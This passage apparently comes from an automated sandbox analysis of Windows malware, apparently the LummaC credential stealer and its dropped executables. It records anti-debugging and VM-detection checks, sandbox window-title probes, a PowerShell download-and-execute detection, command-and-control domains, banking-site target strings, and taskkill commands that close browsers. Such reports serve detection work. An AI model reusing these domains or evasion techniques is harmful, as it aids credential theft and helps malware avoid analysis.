Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 2104	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe TID: 2032	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 5268	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 3656	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 3544	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe TID: 5672	Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe TID: 1292	Thread sleep count: 50 > 30
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe TID: 1292	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe TID: 3404	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Thread delayed: delay time: 922337203685477

Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe, 00000004.00000003.2572803047.0000000001369000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2216901529.0000000001653000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001653000.00000004.00000020.00020000.00000000.sdmp, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012F5000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015F4000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053644210.0000000000736000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3208684384.0000027F66E2A000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.3117634363.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.3117634363.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 00000020.00000002.3226332079.0000000000729000.00000004.00000020.00020000.00000000.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.0000000001443000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: firefox.exe, 0000001E.00000002.3214226689.0000027F6741C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3266381689.000001F87F5B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareZ
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 00000023.00000002.3208113898.00000229088F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000006.00000002.2637423157.0000000000D61000.00000040.00000001.01000000.00000009.sdmp, B7KMZCE66VGDP83M16.exe, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804092829.0000000000918000.00000040.00000001.01000000.0000000B.sdmp, 994a9a760e.exe, 0000000C.00000002.3021291686.0000000000C18000.00000040.00000001.01000000.0000000D.sdmp, 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000002.3130421931.0000000000487000.00000040.00000001.01000000.0000000E.sdmp, 994a9a760e.exe, 00000020.00000002.3227905367.0000000000C18000.00000040.00000001.01000000.0000000D.sdmp, DBQJ2COS8NEE0DVFAHC8.exe, 00000021.00000002.3193269765.0000000000C51000.00000040.00000001.01000000.00000019.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3315588329.00000000009B8000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 994a9a760e.exe, 00000020.00000002.3226332079.00000000006FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe, 00000004.00000003.2572803047.0000000001369000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 3f779c1cca.exe, 0000000E.00000003.3053644210.0000000000736000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+B
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware'p
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005318000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000001E.00000002.3211261433.0000027F66ED0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3208113898.00000229088F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2216660119.0000000001630000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001630000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn~3
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.0000000001415000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe, 00000004.00000002.2606408322.0000000000D01000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 00000005.00000002.2637377757.0000000000D61000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000006.00000002.2637423157.0000000000D61000.00000040.00000001.01000000.00000009.sdmp, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804092829.0000000000918000.00000040.00000001.01000000.0000000B.sdmp, 994a9a760e.exe, 0000000C.00000002.3021291686.0000000000C18000.00000040.00000001.01000000.0000000D.sdmp, 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000002.3130421931.0000000000487000.00000040.00000001.01000000.0000000E.sdmp, 994a9a760e.exe, 00000020.00000002.3227905367.0000000000C18000.00000040.00000001.01000000.0000000D.sdmp, DBQJ2COS8NEE0DVFAHC8.exe, 00000021.00000002.3193269765.0000000000C51000.00000040.00000001.01000000.00000019.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3315588329.00000000009B8000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe

Code function: 4_2_05240C4C rdtsc

4_2_05240C4C

Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: B7KMZCE66VGDP83M16.exe PID: 4440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 994a9a760e.exe PID: 4024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 4948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 994a9a760e.exe PID: 5692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe PID: 1444, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001105001\num.exe "C:\Users\user\AppData\Local\Temp\1001105001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

